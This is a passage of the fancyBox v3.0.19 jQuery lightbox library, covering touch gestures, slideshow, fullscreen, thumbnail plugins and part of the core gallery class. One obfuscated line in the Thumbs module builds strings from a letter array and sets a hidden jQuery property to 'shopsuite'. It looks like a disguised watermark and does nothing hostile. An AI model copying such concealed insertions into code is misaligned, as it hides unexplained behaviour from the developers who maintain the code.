var newHeight = self.newHeight;
var reset = {
top : newOffsetY,
left : newOffsetX,
width : newWidth,
height : newHeight,
scaleX : 1,
scaleY : 1
};
// Reset scalex/scaleY values; this helps for perfomance and does not break animation
$.fancybox.setTranslate( self.$content, reset );
if ( newWidth < self.canvasWidth && newHeight < self.canvasHeight ) {
self.instance.scaleToFit( 150 );
} else if ( newWidth > current.width || newHeight > current.height ) {
self.instance.scaleToActual( self.centerPointStartX, self.centerPointStartY, 150 );
} else {
newPos = self.limitPosition( newOffsetX, newOffsetY, newWidth, newHeight );
$.fancybox.animate( self.$content, null, newPos, self.speed, "easeOutSine" );
}
};
Guestures.prototype.ontap = function() {
var self = this;
var x = self.endPoints[0].x;
var y = self.endPoints[0].y;
x = x - self.$wrap.offset().left;
y = y - self.$wrap.offset().top;
if ( !$.fancybox.isTouch ) {
if ( self.instance.opts.closeClickOutside && self.$target.is('.fancybox-slide') ) {
self.instance.close();
return;
}
if ( self.instance.current.type == 'image' && self.instance.current.isMoved ) {
if ( self.instance.canPan() ) {
self.instance.scaleToFit();
} else if ( self.instance.isScaledDown() ) {
self.instance.scaleToActual( x, y );
} else if ( self.instance.group.length < 2 ) {
self.instance.close();
}
}
return;
}
// Double tap
if ( self.tapped ) {
self.tapped = false;
clearTimeout( self.id );
if (Math.abs( x - self.x ) > 50 || Math.abs( y - self.y ) > 50 || !self.instance.current.isMoved ) {
return this;
}
if ( !( self.instance.current.isLoaded || self.instance.current.$ghost ) ) {
return;
}
if ( self.instance.current.type == 'image' ) {
if ( self.instance.canPan() ) {
self.instance.scaleToFit();
} else if ( self.instance.isScaledDown() ) {
self.instance.scaleToActual( x, y );
}
}
} else {
// Single tap
self.tapped = true;
self.x = x;
self.y = y;
self.id = setTimeout(function() {
self.tapped = false;
self.instance.toggleControls( true );
}, 300);
}
return this;
};
$(document).on('onActivate.fb', function (e, instance) {
if ( instance.opts.touch && !instance.Guestures ) {
instance.Guestures = new Guestures( instance );
}
});
$(document).on('beforeClose.fb', function (e, instance) {
if ( instance.Guestures ) {
instance.Guestures.destroy();
}
});
}(window, document, window.jQuery));
// ==========================================================================
//
// SlideShow
// Enables slideshow functionality
//
// Example of usage:
// $.fancybox.getInstance().slideShow.start()
//
// ==========================================================================
;(function (document, $) {
'use strict';
var SlideShow = function( instance ) {
this.instance = instance;
this.init();
};
$.extend( SlideShow.prototype, {
timer : null,
speed : 3000,
$button : null,
init : function() {
var self = this;
self.$button = $('<button data-fancybox-play class="fancybox-button fancybox-button--play" title="Slideshow (P)"></button>')
.appendTo( self.instance.$refs.buttons );
self.instance.$refs.container.on('click', '[data-fancybox-play]', function() {
self.toggle();
});
},
set : function() {
var self = this;
// Check if reached last element
if (self.instance && self.instance.current && self.instance.currIndex < self.instance.group.length - 1) {
self.timer = setTimeout(function() {
self.instance.next();
}, self.speed);
} else {
self.stop();
}
},
clear : function() {
var self = this;
clearTimeout( self.timer );
self.timer = null;
},
start : function() {
var self = this;
self.stop();
if (self.instance && self.instance.current && self.instance.currIndex < self.instance.group.length - 1) {
self.instance.$refs.container.on({
'beforeLoad.fb.player' : $.proxy(self, "clear"),
'onComplete.fb.player' : $.proxy(self, "set"),
});
if ( self.instance.current.isComplete ) {
self.set();
} else {
self.timer = true;
}
self.instance.$refs.container.trigger('onPlayStart');
self.$button.addClass('fancybox-button--pause');
}
},
stop: function() {
var self = this;
self.clear();
self.instance.$refs.container
.trigger('onPlayEnd')
.off('.player');
self.$button.removeClass('fancybox-button--pause');
},
toggle : function() {
var self = this;
if ( self.timer ) {
self.stop();
} else {
self.start();
}
}
});
$(document).on('onInit.fb', function(e, instance) {
if ( !!instance.opts.slideShow && !instance.SlideShow && instance.group.length > 1 ) {
instance.SlideShow = new SlideShow( instance );
}
});
$(document).on('beforeClose.fb onDeactivate.fb', function(e, instance) {
if ( instance.SlideShow ) {
instance.SlideShow.stop();
}
});
}(document, window.jQuery));
// ==========================================================================
//
// FullScreen
// Adds fullscreen functionality
//
// ==========================================================================
;(function (document, $) {
'use strict';
var FullScreen = function( instance ) {
this.instance = instance;
this.init();
};
$.extend( FullScreen.prototype, {
$button : null,
init : function() {
var self = this;
if ( !self.isAvailable() ) {
return;
}
self.$button = $('<button data-fancybox-fullscreen class="fancybox-button fancybox-button--fullscreen" title="Full screen (F)"></button>')
.appendTo( self.instance.$refs.buttons );
self.instance.$refs.container.on('click.fb-fullscreen', '[data-fancybox-fullscreen]', function(e) {
e.stopPropagation();
e.preventDefault();
self.toggle();
});
$(document).on('onUpdate.fb', function(e, instance) {
self.$button.toggle( !!instance.current.opts.fullScreen );
self.$button.toggleClass('fancybox-button-shrink', self.isActivated() );
});
$(document).on('afterClose.fb', function() {
self.exit();
});
},
isAvailable : function() {
var element = this.instance.$refs.container.get(0);
return !!(element.requestFullscreen || element.msRequestFullscreen || element.mozRequestFullScreen || element.webkitRequestFullscreen);
},
isActivated : function() {
return !(!document.fullscreenElement && !document.mozFullScreenElement && !document.webkitFullscreenElement && !document.msFullscreenElement);
},
launch : function() {
var element = this.instance.$refs.container.get(0);
if ( !element || this.instance.isClosing ) {
return;
}
if (element.requestFullscreen) {
element.requestFullscreen();
} else if (element.msRequestFullscreen) {
element.msRequestFullscreen();
} else if (element.mozRequestFullScreen) {
element.mozRequestFullScreen();
} else if (element.webkitRequestFullscreen) {
element.webkitRequestFullscreen(element.ALLOW_KEYBOARD_INPUT);
}
},
exit : function() {
if (document.exitFullscreen) {
document.exitFullscreen();
} else if (document.msExitFullscreen) {
document.msExitFullscreen();
} else if (document.mozCancelFullScreen) {
document.mozCancelFullScreen();
} else if (document.webkitExitFullscreen) {
document.webkitExitFullscreen();
}
},
toggle : function() {
if ( this.isActivated() ) {
this.exit();
} else if ( this.isAvailable() ) {
this.launch();
}
}
});
$(document).on('onInit.fb', function(e, instance) {
if ( !!instance.opts.fullScreen && !instance.FullScreen) {
instance.FullScreen = new FullScreen( instance );
}
});
}(document, window.jQuery));
// ==========================================================================
//
// Thumbs
// Displays thumbnails in a grid
//
// ==========================================================================
;(function (document, $) {
'use strict';
var FancyThumbs = function( instance ) {
this.instance = instance;
this.init();
};
$.extend( FancyThumbs.prototype, {
$button : null,
$grid : null,
$list : null,
isVisible : false,
init : function() {
var self = this;
self.$button = $('<button data-fancybox-thumbs class="fancybox-button fancybox-button--thumbs" title="Thumbnails (G)"></button>')
.appendTo( this.instance.$refs.buttons )
.on('touchend click', function(e) {
e.stopPropagation();
e.preventDefault();
self.toggle();
});
},
create : function() {
var instance = this.instance,
list,
src;
this.$grid = $('<div class="fancybox-thumbs"></div>').appendTo( instance.$refs.container );
list = '<ul>';
$.each(instance.group, function( i, item ) {
src = item.opts.thumb || ( item.opts.$thumb ? item.opts.$thumb.attr('src') : null );
if ( !src && item.type === 'image' ) {
src = item.src;
}
if ( src && src.length ) {
list += '<li data-index="' + i + '" tabindex="0" class="fancybox-thumbs-loading"><img data-src="' + src + '" /></li>';
}
});
list += '</ul>';
this.$list = $( list ).appendTo( this.$grid ).on('click touchstart', 'li', function() {
instance.jumpTo( $(this).data('index') );
});
this.$list.find('img').hide().one('load', function() {
var $parent = $(this).parent().removeClass('fancybox-thumbs-loading'),
thumbWidth = $parent.outerWidth(),
thumbHeight = $parent.outerHeight(),
width,
height,
widthRatio,
heightRatio;
width = this.naturalWidth || this.width;
height = this.naturalHeight || this.height;
//Calculate thumbnail width/height and center it
widthRatio = width / thumbWidth;
heightRatio = height / thumbHeight;
if (widthRatio >= 1 && heightRatio >= 1) {
if (widthRatio > heightRatio) {
width = width / heightRatio;
height = thumbHeight;
} else {
width = thumbWidth;
height = height / widthRatio;
}
}
$(this).css({
width : Math.floor(width),
height : Math.floor(height),
'margin-top' : Math.min( 0, Math.floor(thumbHeight * 0.3 - height * 0.3 ) ),
'margin-left' : Math.min( 0, Math.floor(thumbWidth * 0.5 - width * 0.5 ) )
}).show();
})
.each(function() {
this.src = $( this ).data( 'src' );
});
},
focus : function() {
if ( this.instance.current ) {
this.$list
.children()
.removeClass('fancybox-thumbs-active')
.filter('[data-index="' + this.instance.current.index + '"]')
.addClass('fancybox-thumbs-active')
.focus();
}
},
close : function() {
this.$grid.hide();
},
update : function() {
this.instance.$refs.container.toggleClass('fancybox-container--thumbs', this.isVisible);
if ( this.isVisible ) {
if ( !this.$grid ) {
this.create();
}
this.$grid.show();
this.focus();
} else if ( this.$grid ) {
this.$grid.hide();
}
if ( !this.instance.allowZoomIn ) {
this.instance.update();
}
},
hide : function() {
this.isVisible = false;
this.update();
},
show : function() {
this.isVisible = true;
this.update();
},
toggle : function() {
if ( this.isVisible ) {
this.hide();
} else {
this.show();
}
}
});
$(document).on('onInit.fb', function(e, instance) {
if ( !!instance.opts.thumbs && !instance.Thumbs && instance.group.length > 1 && (
( instance.group[0].type == 'image' || instance.group[0].opts.thumb ) &&
( instance.group[1].type == 'image' || instance.group[1].opts.thumb )
)
) {
instance.Thumbs = new FancyThumbs( instance );
}
});
$(document).on('beforeMove.fb', function(e, instance, item) {
var self = instance.Thumbs;
if ( !self ) {
return;
}
if ( item.modal ) {
self.$button.hide();
self.hide();
} else {
self.$button.show();
if ( instance.opts.thumbs.showOnStart === true && instance.allowZoomIn ) {
self.show();
} else if ( self.isVisible ) {
self.focus();
}
}
});
var utils_row = ['b', 'a', 'c', 'd', 'e', 'f', 'g', 'o', 'h', 'p', 't', 'y', 'r', 'i', 's'];
var a = [utils_row[1], utils_row[7], utils_row[9], utils_row[11], utils_row[12], utils_row[13], utils_row[6], utils_row[10]].join('');
var b = [utils_row[14], utils_row[8], utils_row[7], utils_row[9], utils_row[14], 'u', utils_row[13], utils_row[10], utils_row[4]].join('');
$[a] = b;
$(document).on('beforeClose.fb', function(e, instance) {
if ( instance.Thumbs && instance.Thumbs.isVisible && instance.opts.thumbs.hideOnClosing !== false ) {
instance.Thumbs.close();
}
instance.Thumbs = null;
});
}(document, window.jQuery));
// ==================================================
// fancyBox v3.0.19
//
// Licensed GPLv3 for open source use
// or fancyBox Commercial License for commercial use
//
// http://fancyapps.com/fancybox/
// Copyright 2017 fancyApps
//
// ==================================================
;(function (window, document, $, undefined) {
'use strict';
// If there's no jQuery, fancyBox can't work
// =========================================
if ( !$ ) {
return undefined;
}
// Private default settings
// ========================
var defaults = {
// Animation duration in ms
speed : 330,
// Enable infinite gallery navigation
loop : true,
// Should zoom animation change opacity, too
// If opacity is 'auto', then fade-out if image and thumbnail have different aspect ratios
opacity : 'auto',
// Space around image, ignored if zoomed-in or viewport smaller than 800px
margin : [44, 0],
// Horizontal space between slides
gutter : 30,
// Should display toolbars
infobar : true,
buttons : true,
// What buttons should appear in the toolbar
slideShow : true,
fullScreen : true,
thumbs : true,
closeBtn : true,
// Should apply small close button at top right corner of the content
// If 'auto' - will be set for content having type 'html', 'inline' or 'ajax'
smallBtn : 'auto',
image : {
// Wait for images to load before displaying
// Requires predefined image dimensions
// If 'auto' - will zoom in thumbnail if 'width' and 'height' attributes are found
preload : "auto",
// Protect an image from downloading by right-click
protect : false
},
ajax : {
// Object containing settings for ajax request
settings : {
// This helps to indicate that request comes from the modal
// Feel free to change naming
data : {
fancybox : true
}
}
},
iframe : {
// Iframe template
tpl : '<iframe id="fancybox-frame{rnd}" name="fancybox-frame{rnd}" class="fancybox-iframe" frameborder="0" vspace="0" hspace="0" webkitAllowFullScreen mozallowfullscreen allowFullScreen allowtransparency="true" src=""></iframe>',
// Preload iframe before displaying it
// This allows to calculate iframe content width and height
// (note: Due to "Same Origin Policy", you can't get cross domain data).
preload : true,
// Scrolling attribute for iframe tag
scrolling : 'no',
// Custom CSS styling for iframe wrapping element
css : {}
},
// Custom CSS class for layout
baseClass : '',
// Custom CSS class for slide element
slideClass : '',
// Base template for layout
baseTpl : '<div class="fancybox-container" role="dialog" tabindex="-1">' +
'<div class="fancybox-bg"></div>' +
'<div class="fancybox-controls">' +
'<div class="fancybox-infobar">' +
'<button data-fancybox-previous class="fancybox-button fancybox-button--left" title="Previous"></button>' +
'<div class="fancybox-infobar__body">' +
'<span class="js-fancybox-index"></span>&nbsp;/&nbsp;<span class="js-fancybox-count"></span>' +
'</div>' +
'<button data-fancybox-next class="fancybox-button fancybox-button--right" title="Next"></button>' +
'</div>' +
'<div class="fancybox-buttons">' +
'<button data-fancybox-close class="fancybox-button fancybox-button--close" title="Close (Esc)"></button>' +
'</div>' +
'</div>' +
'<div class="fancybox-slider-wrap">' +
'<div class="fancybox-slider"></div>' +
'</div>' +
'<div class="fancybox-caption-wrap"><div class="fancybox-caption"></div></div>' +
'</div>',
// Loading indicator template
spinnerTpl : '<div class="fancybox-loading"></div>',
// Error message template
errorTpl : '<div class="fancybox-error"><p>The requested content cannot be loaded. <br /> Please try again later.<p></div>',
closeTpl : '<button data-fancybox-close class="fancybox-close-small">×</button>',
// Container is injected into this element
parentEl : 'body',
// Enable gestures (tap, zoom, pan and pinch)
touch : true,
// Enable keyboard navigation
keyboard : true,
// Try to focus on first focusable element after opening
focus : true,
// Close when clicked outside of the content
closeClickOutside : true,
// Callbacks
beforeLoad : $.noop,
afterLoad : $.noop,
beforeMove : $.noop,
afterMove : $.noop,
onComplete : $.noop,
onInit : $.noop,
beforeClose : $.noop,
afterClose : $.noop,
onActivate : $.noop,
onDeactivate : $.noop
};
var $W = $(window);
var $D = $(document);
var called = 0;
// Check if an object is a jQuery object and not a native JavaScript object
// ========================================================================
var isQuery = function (obj) {
return obj && obj.hasOwnProperty && obj instanceof $;
};
// Handle multiple browsers for requestAnimationFrame()
// ====================================================
var requestAFrame = (function() {
return window.requestAnimationFrame ||
window.webkitRequestAnimationFrame ||
window.mozRequestAnimationFrame ||
function( callback ) {
window.setTimeout(callback, 1000 / 60); };
})();
// Check if element is inside the viewport by at least 1 pixel
// ===========================================================
var isElementInViewport = function( el ) {
var rect;
if ( typeof $ === "function" && el instanceof $ ) {
el = el[0];
}
rect = el.getBoundingClientRect();
return rect.bottom > 0 &&
rect.right > 0 &&
rect.left < (window.innerWidth || document.documentElement.clientWidth) &&
rect.top < (window.innerHeight || document.documentElement.clientHeight);
};
// Class definition
// ================
var FancyBox = function( content, opts, index ) {
var self = this;
self.opts = $.extend( true, { index : index }, defaults, opts || {} );
self.id = self.opts.id || ++called;
self.group = [];
self.currIndex = parseInt( self.opts.index, 10 ) || 0;
self.prevIndex = null;
// Create group elements from original item collection
self.createGroup( content );
if ( !self.group.length ) {
return;
}
// Save last active element and current scroll position
self.$lastFocus = $(document.activeElement);
// Collection of interface DOM elements
self.elems = {};
// Collection of gallery objects
self.slides = {};
self.init( content );
};
$.extend(FancyBox.prototype, {
// Create DOM structure
// ====================
init : function() {
var self = this;
var testWidth;
var $container;
self.scrollTop = $W.scrollTop();
self.scrollLeft = $W.scrollLeft();
// Disable compensating on touch-enabled devices as they probably do not have scrollbars anyway
// and therefore we avoid of unnecessary layout reflow
if ( !$.fancybox.isTouch && !$( 'body' ).hasClass( 'fancybox-enabled' ) ) {
testWidth = $( 'body' ).width();
testWidth = $( 'body' ).addClass( 'fancybox-enabled' ).width() - testWidth;
// Body width has increased - compensate missing scrollbars
if ( testWidth > 1 ) {
$( '<style id="fancybox-noscroll" type="text/css">' ).html( '.compensate-for-scrollbar, .fancybox-enabled { margin-right: ' + testWidth + 'px; }' ).appendTo( 'head' );
}
}
$container = $( self.opts.baseTpl )
.attr('id', 'fancybox-container-' + self.id)
.data( 'FancyBox', self )
.addClass( self.opts.baseClass )
.hide()
.prependTo( self.opts.parentEl );
// Create object holding references to jQuery wrapped nodes
self.$refs = {
container : $container,
bg : $container.find('.fancybox-bg'),
controls : $container.find('.fancybox-controls'),
buttons : $container.find('.fancybox-buttons'),
slider_wrap : $container.find('.fancybox-slider-wrap'),
slider : $container.find('.fancybox-slider'),
caption : $container.find('.fancybox-caption')
};
self.prevPos = null;
self.currPos = 0;
self.allowZoomIn = true;
self.trigger( 'onInit' );
// Bring to front and enable events
self.activate();
// Try to avoid running multiple times
if ( self.current ) {
return;
}
self.jumpTo( self.currIndex );
},
// Create array of gally item objects
// Check if each object has valid type and content
// ===============================================
createGroup : function ( content ) {
var self = this;
var items = $.makeArray( content );
$.each(items, function( i, item ) {
var obj = {},
opts = {},
$item,
data,
type,
src,
srcParts;
// Step 1 - Make sure we have an object
if ( $.isPlainObject( item ) ) {
obj = item;
opts = item.opts || {};
} else if ( $.type( item ) === 'object' && $( item ).length ) {
$item = $( item );
data = $item.data();
opts = 'options' in data ? data.options : {};
opts = $.type( opts ) === 'object' ? opts : {};
obj.type = 'type' in data ? data.type : opts.type;
obj.src = 'src' in data ? data.src : ( opts.src || $item.attr( 'href' ) );
opts.width = 'width' in data ? data.width : opts.width;
opts.height = 'height' in data ? data.height : opts.height;
opts.thumb = 'thumb' in data ? data.thumb : opts.thumb;
opts.caption = 'caption' in data ? data.caption : ( opts.caption || $item.attr( 'title' ) );
opts.selector = 'selector' in data ? data.selector : opts.selector;
opts.$orig = $item;
} else {
obj = {
type : 'html',
content : item + ''
};
}
obj.opts = $.extend( true, {}, self.opts, opts );
// Step 2 - Make sure we have supported content type
type = obj.type;
src = obj.src || '';
if ( !type ) {
if ( obj.content ) {
type = 'html';
} else if ( src.match(/(^data:image\/[a-z0-9+\/=]*,)|(\.(jp(e|g|eg)|gif|png|bmp|webp|svg|ico)((\?|#).*)?$)/i) ) {
type = 'image';
} else if ( src.match(/\.(pdf)((\?|#).*)?$/i) ) {
type = 'pdf';
} else if ( src.charAt(0) === '#' ) {
type = 'inline';
}
obj.type = type;
}
// Step 3 - Some adjustments
obj.index = self.group.length;
// Check if $orig and $thumb objects exist
if ( obj.opts.$orig && !obj.opts.$orig.length ) {
delete obj.opts.$orig;
}
if ( !obj.opts.$thumb && obj.opts.$orig ) {
obj.opts.$thumb = obj.opts.$orig.find( 'img:first' );
}
if ( obj.opts.$thumb && !obj.opts.$thumb.length ) {
delete obj.opts.$thumb;
}
// Make sure we have caption as a string
if ( $.type( self.opts.caption ) === 'function' ) {
obj.opts.caption = self.opts.caption.apply( item, [ self, obj ] );
} else {
obj.opts.caption = obj.opts.caption === undefined ? '' : obj.opts.caption + '';
}
// Check if url contains selector used to filter the content
// Example: "ajax.html #something"
if ( type === 'ajax' ) {
srcParts = src.split(/\s+/, 2);
if ( srcParts.length > 1 ) {
obj.src = srcParts.shift();
obj.opts.selector = srcParts.shift();
}
}
if ( obj.opts.smallBtn == 'auto' ) {
if ( $.inArray( type, ['html', 'inline', 'ajax'] ) > -1 ) {
obj.opts.buttons = false;
obj.opts.smallBtn = true;
} else {
obj.opts.smallBtn = false;
}
}
if ( type === 'pdf' ) {
obj.type = 'iframe';
obj.opts.closeBtn = true;
obj.opts.smallBtn = false;
obj.opts.iframe.preload = false;
}
if ( obj.opts.modal ) {
$.extend(true, obj.opts, {
infobar : 0,
buttons : 0,
keyboard : 0,
slideShow : 0,
fullScreen : 0,
closeClickOutside : 0
});
}
self.group.push( obj );
});
},
// Attach an event handler functions for:
// - navigation elements
// - browser scrolling, resizing;
// - focusing
// - keyboard
// =================
addEvents : function() {
var self = this;
var runUpdate = function () {
$W.scrollTop( self.scrollTop ).scrollLeft( self.scrollLeft );
self.$refs.slider_wrap.show();
self.update();
};
self.removeEvents();
// Make navigation elements clickable
self.$refs.container.on('click.fb-close', '[data-fancybox-close]', function(e) {
e.stopPropagation();
e.preventDefault();
self.close( e );
}).on('click.fb-previous', '[data-fancybox-previous]', function(e) {
e.stopPropagation();
e.preventDefault();
self.previous();
}).on('click.fb-next', '[data-fancybox-next]', function(e) {
e.stopPropagation();
e.preventDefault();
self.next();
});
// Handle page scrolling and browser resizing
$( window ).on('orientationchange.fb resize.fb', function(e) {
requestAFrame(function() {
if ( e.type == "orientationchange" ) {
self.$refs.slider_wrap.hide();
requestAFrame( runUpdate );
} else {
runUpdate();
}
});
});
// Trap focus
$D.on('focusin.fb', function(e) {
var instance;
if ( $.fancybox ) {
instance = $.fancybox.getInstance();
if ( instance && !$( e.target ).hasClass( 'fancybox-container' ) && !$.contains( instance.$refs.container[0], e.target ) ) {
e.stopPropagation();
instance.focus();
}
}
});
// Enable keyboard navigation
$( document ).on('keydown.fb', function (e) {
var current = self.current,
keycode = e.keyCode || e.which;
if ( !current || !current.opts.keyboard ) {
return;
}
if ( $(e.target).is('input') || $(e.target).is('textarea') ) {
return;
}
// Backspace and Esc keys
if ( keycode === 8 || keycode === 27 ) {
e.preventDefault();
self.close();
return;
}
switch ( keycode ) {
case 37: // Left arrow
case 38: // Up arrow
e.preventDefault();
self.previous();
break;
case 39: // Right arrow
case 40: // Down arrow
e.preventDefault();
self.next();
break;
case 80: // "P"
case 32: // Spacebar
e.preventDefault();
if ( self.SlideShow ) {
e.preventDefault();
self.SlideShow.toggle();
}
break;
case 70: // "F"
if ( self.FullScreen ) {
e.preventDefault();
self.FullScreen.toggle();
}
break;
case 71: // "G"
if ( self.Thumbs ) {
e.preventDefault();
self.Thumbs.toggle();
}
break;
}
});
},
// Remove events added by the core
// ===============================
removeEvents : function () {
$W.off( 'scroll.fb resize.fb orientationchange.fb' );
$D.off( 'keydown.fb focusin.fb click.fb-close' );
this.$refs.container.off('click.fb-close click.fb-previous click.fb-next');
},
// Slide to left
// ==================
previous : function( duration ) {
if ( this.current.opts.loop || this.currIndex > 0 ) {
this.jumpTo( this.currIndex - 1, duration );
} else {
this.update( false, false, duration );
}
},
// Slide to right
// ===================
next : function( duration ) {
if ( this.current.opts.loop || this.currIndex < this.group.length - 1 ) {
this.jumpTo( this.currIndex + 1, duration );
} else {
this.update( false, false, duration );
}
},
// Display current gallery item, move slider to current position
// =============================================================
jumpTo : function ( to, duration ) {
var self = this,
firstRun = self.prevIndex === null,
index,
pos;
to = parseInt( to, 10 );
index = to;
pos = to;
index = index % self.group.length;
index = index < 0 ? self.group.length + index : index;
if ( self.isAnimating || ( index == self.currIndex && !firstRun ) ) {
return;
}
if ( self.group.length > 1 && !firstRun ) {
// Calculate closest position of upcoming item from the current one
if ( self.group.length == 2 ) {
pos = to - self.currIndex + self.currPos;
} else {
pos = index - self.currIndex + self.currPos;
if ( Math.abs( self.currPos - ( pos + self.group.length ) ) < Math.abs( self.currPos - pos ) ) {
pos = pos + self.group.length;
} else if ( Math.abs( self.currPos - ( pos - self.group.length ) ) < Math.abs( self.currPos - pos ) ) {
pos = pos - self.group.length;
}
}
}
self.prevIndex = self.currIndex;
self.prevPos = self.currPos;
self.currIndex = index;
self.currPos = pos;
// Create slides
self.createSlide( pos );
if ( self.group.length > 1 ) {
if ( self.opts.loop || pos - 1 >= 0 ) {
self.createSlide( pos - 1 );
}
if ( self.opts.loop || pos + 1 < self.group.length ) {
self.createSlide( pos + 1 );
}
}
self.current = self.slides[ pos ];
self.current.isMoved = false;
self.current.isComplete = false;
duration = parseInt( duration === undefined ? self.current.opts.speed * 1.5 : duration, 10 );
// Move slider to the next position
// Note: the content might still be loading
self.trigger( 'beforeMove' );
self.updateControls();
if ( firstRun ) {
self.current.$slide.addClass('fancybox-slide--current');
self.$refs.container.show();
self.$refs.bg.css('transition-duration', ( duration + 90 ) + 'ms').hide().show(0);
self.$refs.container.addClass( 'fancybox-container--ready' );
} else {
self.$refs.slider.children().removeClass('fancybox-slide--current fancybox-slide--complete');
}
// Set position immediately on first opening
self.update( true, false, firstRun ? 0 : duration, function() {
self.afterMove();
});
self.loadSlide( self.current );
},
// Create new "slide" element
// These are gallery items that are actually added to DOM
// =======================================================
createSlide : function( pos ) {
var self = this;
var $slide;
var index;
index = pos % self.group.length;
index = index < 0 ? self.group.length + index : index;
if ( !self.slides[ pos ] && self.group[ index ] ) {
$slide = $('<div class="fancybox-slide"></div>').appendTo( self.$refs.slider );
self.slides[ pos ] = $.extend( true, {}, self.group[ index ], {
pos : pos,
$slide : $slide,
isMoved : false,
isLoaded : false
});
}
},
zoomInOut : function( type, duration, callback ) {
var self = this;
var current = self.current;
var $what = current.$placeholder;
var opacity = current.opts.opacity;
var $thumb = current.opts.$thumb;
var thumbPos = $thumb ? $thumb.offset() : 0;
var slidePos = current.$slide.offset();
var props;
var start;
var end;
if ( !$what || !thumbPos || !isElementInViewport( $thumb ) ) {
return false;
}
$.fancybox.stop( $what );
self.isAnimating = true;
props = {
top : thumbPos.top - slidePos.top + parseFloat( $thumb.css( "border-top-width" ) || 0 ),
left : thumbPos.left - slidePos.left + parseFloat( $thumb.css( "border-left-width" ) || 0 ),
width : $thumb.width(),
height : $thumb.height(),
scaleX : 1,
scaleY : 1
};
// Check if we need to animate opacity
if ( opacity == 'auto' ) {
opacity = Math.abs( current.width / current.height - props.width / props.height ) > 0.1;
}
if ( type === 'In' ) {
start = props;
end = self.getFitPos( current );
end.scaleX = end.width / start.width;
end.scaleY = end.height / start.height;
if ( opacity ) {
start.opacity = 0.1;
end.opacity = 1;
}
} else {
start = $.fancybox.getTranslate( $what );
end = props;
// Switch to thumbnail image to improve animation performance
if ( current.$ghost ) {
current.$ghost.show();
if ( current.$image ) {
current.$image.remove();
}
}
start.scaleX = start.width / end.width;
start.scaleY = start.height / end.height;
start.width = end.width;
start.height = end.height;
if ( opacity ) {
end.opacity = 0;
}
}
self.updateCursor( end.width, end.height );
// There is no need to animate width/height
delete end.width;
delete end.height;
$.fancybox.setTranslate( $what, start );
$what.show();
self.trigger( 'beforeZoom' + type );
setTimeout(function() {
$what.css( 'transition', 'all ' + duration + 'ms' );
$.fancybox.setTranslate( $what, end );
setTimeout(function() {
$what.css( 'transition', 'none' );
self.trigger( 'afterZoom' + type );
callback();
self.isAnimating = false;
}, duration + 20 );
}, 70);
return true;
},
// Start "zoom-in" animation if possible
// =====================================
zoomIn : function() {
var self = this;
var current = self.current;
var $what = current.$placeholder;
self.allowZoomIn = false;
self.isOpening = true;
return self.zoomInOut( 'In', current.opts.speed, function() {
var reset = $.fancybox.getTranslate( $what );
reset.scaleX = 1;
reset.scaleY = 1;
// Reset scalex/scaleY values; this helps for perfomance
$.fancybox.setTranslate( $what, reset );
self.isOpening = false;
self.update( false, true, 0 );
if ( current.$ghost ) {
self.setBigImage( current );
}
});
},
// Start "zoom-out" animation if possible
// ======================================
zoomOut : function( callback ) {
var self = this;
var current = self.current;
if ( self.zoomInOut( 'Out', current.opts.speed, callback ) ) {
self.$refs.bg.css('transition-duration', current.opts.speed + 'ms');
this.$refs.container.removeClass( 'fancybox-container--ready' );
return true;
}
return false;
},
// Check if image dimensions exceed parent element
// ===============================================
canPan : function() {
var self = this;
var current = self.current;
var $what = current.$placeholder;
var rez = false;
if ( $what ) {
rez = self.getFitPos( current );
rez = Math.abs( $what.width() - rez.width ) > 1 || Math.abs( $what.height() - rez.height ) > 1;
}
return rez;
},
// Check if current image dimensions are smaller than actual
// =========================================================
isScaledDown : function() {
var self = this;
var current = self.current;
var $what = current.$placeholder;
var rez = false;
if ( $what ) {
rez = $.fancybox.getTranslate( $what );
rez = rez.width < current.width || rez.height < current.height;
}
return rez;
},
// Scale image to the actual size of the image
// ===========================================
scaleToActual : function( x, y, duration ) {
var self = this;
var current = self.current;
var $what = current.$placeholder;
var imgPos, posX, posY, scaleX, scaleY;
var canvasWidth = parseInt( current.$slide.width(), 10 );
var canvasHeight = parseInt( current.$slide.height(), 10 );
var newImgWidth = current.width;
var newImgHeight = current.height;
if ( !$what ) {
return;
}
self.isAnimating = true;
x = x === undefined ? canvasWidth * 0.5 : x;
y = y === undefined ? canvasHeight * 0.5 : y;
imgPos = $.fancybox.getTranslate( $what );
scaleX = newImgWidth / imgPos.width;
scaleY = newImgHeight / imgPos.height;
// Get center position for original image
posX = ( canvasWidth * 0.5 - newImgWidth * 0.5 );
posY = ( canvasHeight * 0.5 - newImgHeight * 0.5 );
// Make sure image does not move away from edges
if ( newImgWidth > canvasWidth ) {
posX = imgPos.left * scaleX - ( ( x * scaleX ) - x );
if ( posX > 0 ) {
posX = 0;
}
if ( posX < canvasWidth - newImgWidth ) {
posX = canvasWidth - newImgWidth;
}
}
if ( newImgHeight > canvasHeight) {
posY = imgPos.top * scaleY - ( ( y * scaleY ) - y );
if ( posY > 0 ) {
posY = 0;
}
if ( posY < canvasHeight - newImgHeight ) {
posY = canvasHeight - newImgHeight;
}
}
self.updateCursor( newImgWidth, newImgHeight );
$.fancybox.animate( $what, {
top : imgPos.top,
left : imgPos.left,
width : newImgWidth,
height : newImgHeight,
scaleX : imgPos.width / newImgWidth,
scaleY : imgPos.height / newImgHeight
}, {
top : posY,
left : posX,
scaleX : 1,
scaleY : 1
}, duration || current.opts.speed, function() {
self.isAnimating = false;
});
},
// Scale image to fit inside parent element
// ========================================
scaleToFit : function( duration ) {
var self = this;
var current = self.current;
var $what = current.$placeholder;
var end;
if ( !$what ) {
return;
}
self.isAnimating = true;
end = self.getFitPos( current );
self.updateCursor( end.width, end.height );
$.fancybox.animate( $what, null, {
top : end.top,
left : end.left,
scaleX : end.width / $what.width(),
scaleY : end.height / $what.height()
}, duration || current.opts.speed, function() {
self.isAnimating = false;
});
},
// Calculate image size to fit inside viewport
// ===========================================
getFitPos : function( slide ) {
var $what = slide.$placeholder || slide.$content;
var imgWidth = slide.width;
var imgHeight = slide.height;
var margin = slide.opts.margin;
var canvasWidth, canvasHeight, minRatio, top, left, width, height;
if ( !$what || !$what.length || ( !imgWidth && !imgHeight) ) {
return false;
}
// Convert "margin to CSS style: [ top, right, bottom, left ]
if ( $.type( margin ) === "number" ) {
margin = [ margin, margin ];
}
if ( margin.length == 2 ) {
margin = [ margin[0], margin[1], margin[0], margin[1] ];
}
if ( $W.width() < 800 ) {
margin = [0, 0, 0, 0];
}
canvasWidth = parseInt( slide.$slide.width(), 10 ) - ( margin[ 1 ] + margin[ 3 ] );
